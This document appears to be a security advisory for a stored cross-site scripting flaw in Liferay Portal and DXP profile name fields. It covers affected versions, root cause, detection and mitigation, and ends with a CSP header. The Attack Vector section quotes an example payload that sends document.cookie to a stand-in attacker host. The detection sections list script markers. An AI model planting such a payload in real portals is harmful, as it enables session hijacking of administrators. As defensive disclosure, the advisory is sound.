CVE-2025-62267: Liferay DXP XSS Vulnerability

CVE-2025-62267 Overview

CVE-2025-62267 describes multiple stored cross-site scripting (XSS) vulnerabilities in the web content template's select structure page in Liferay Portal and Liferay Digital Experience Platform (DXP). Remote authenticated attackers can inject arbitrary JavaScript or HTML through the First Name, Middle Name, or Last Name fields of a user profile. When another user views the select structure page, the injected payload executes in their browser session. The flaw is classified under CWE-79: Improper Neutralization of Input During Web Page Generation.

Critical Impact

Authenticated attackers can execute arbitrary script in the browsers of Liferay Portal or DXP administrators viewing the affected page, enabling session theft and unauthorized actions within the portal.

Affected Products

• Liferay Portal versions 7.4.3.35 through 7.4.3.111
• Liferay DXP 2023.Q4.0 through 2023.Q4.10 and 2023.Q3.1 through 2023.Q3.10
• Liferay DXP 7.4 update 35 through update 92

Discovery Timeline

• 2025-10-31 - CVE-2025-62267 published to NVD
• 2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-62267

Vulnerability Analysis

The vulnerability resides in the web content template's select structure page, which renders user identity fields without applying proper output encoding. When a Liferay user sets their First Name, Middle Name, or Last Name values, those strings are stored in the user profile. The select structure page later reflects these values into HTML context without neutralization, allowing browser interpretation of embedded script tags or event handlers.

Because the payload is stored server-side, execution occurs whenever an authorized user opens the affected page. The attack requires high privileges to inject payloads via profile fields and requires user interaction from a victim who navigates to the vulnerable page. Successful exploitation compromises confidentiality and integrity within the victim's browser context, including cookies, CSRF tokens, and DOM content available to the Liferay session.

Root Cause

The root cause is missing or insufficient HTML entity encoding when rendering user-supplied name fields in the select structure view. The template treats stored profile strings as safe HTML rather than untrusted input requiring contextual escaping.

Attack Vector

An attacker with an authenticated Liferay account modifies their profile to include a crafted script payload in one of the three name fields. Payloads such as <img src=x onerror=fetch('//attacker/'+document.cookie)> become active when a portal administrator or content editor loads the select structure page. The stored nature of the flaw enables persistent client-side attacks against higher-privileged users, including session hijacking and forced administrative actions.

Detection Methods for CVE-2025-62267

Indicators of Compromise

• User profile records containing HTML tags, JavaScript event handlers (onerror, onload, onclick), or <script> markup in the firstName, middleName, or lastName fields.
• Outbound HTTP requests from administrator browsers to unfamiliar domains shortly after opening the web content template select structure page.
• Unexpected administrative actions performed under legitimate accounts without corresponding interactive sessions in Liferay audit logs.

Detection Strategies

• Audit the Liferay user database for name fields containing characters such as <, >, ", or javascript: prefixes that should not appear in a personal name.
• Enable and review Liferay audit logs for profile updates that modify name fields, correlating with subsequent access to /web-content-templates administration pages.
• Deploy a web application firewall (WAF) rule that inspects user profile update requests for HTML or script payloads targeting name fields.

Monitoring Recommendations

• Monitor endpoint telemetry for administrator workstations connecting to the Liferay control panel, looking for anomalous script execution or credential exfiltration.
• Track HTTP responses containing user-supplied name values in template rendering paths to identify unencoded reflections during testing and production.
• Alert on Liferay PortalUser update events where updated fields contain non-alphabetic characters uncommon to standard name formats.

How to Mitigate CVE-2025-62267

Immediate Actions Required

• Apply the security update referenced in the Liferay CVE-2025-62267 advisory for the deployed Portal or DXP branch.
• Sanitize existing user records by stripping HTML markup from firstName, middleName, and lastName fields before upgrading.
• Restrict administrator access to the web content template select structure page to trusted personnel until patching is complete.

Patch Information

Liferay has issued fixes for affected releases. Upgrade Liferay Portal to a version above 7.4.3.111, apply the corresponding update beyond 7.4 update 92 for DXP 7.4, or move to a fixed DXP quarterly release after 2023.Q4.10. Refer to the Liferay CVE-2025-62267 Vulnerability Report for exact fixed builds.

Workarounds

• Enforce input validation on user registration and profile update endpoints to reject any non-alphabetic or Unicode-letter characters in name fields.
• Configure a Content Security Policy (CSP) that disallows inline script execution and restricts script sources for the Liferay portal domain.
• Limit account creation to vetted users and disable self-registration in environments where anonymous profile creation is not required.

# Example CSP header for Liferay reverse proxy (nginx)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;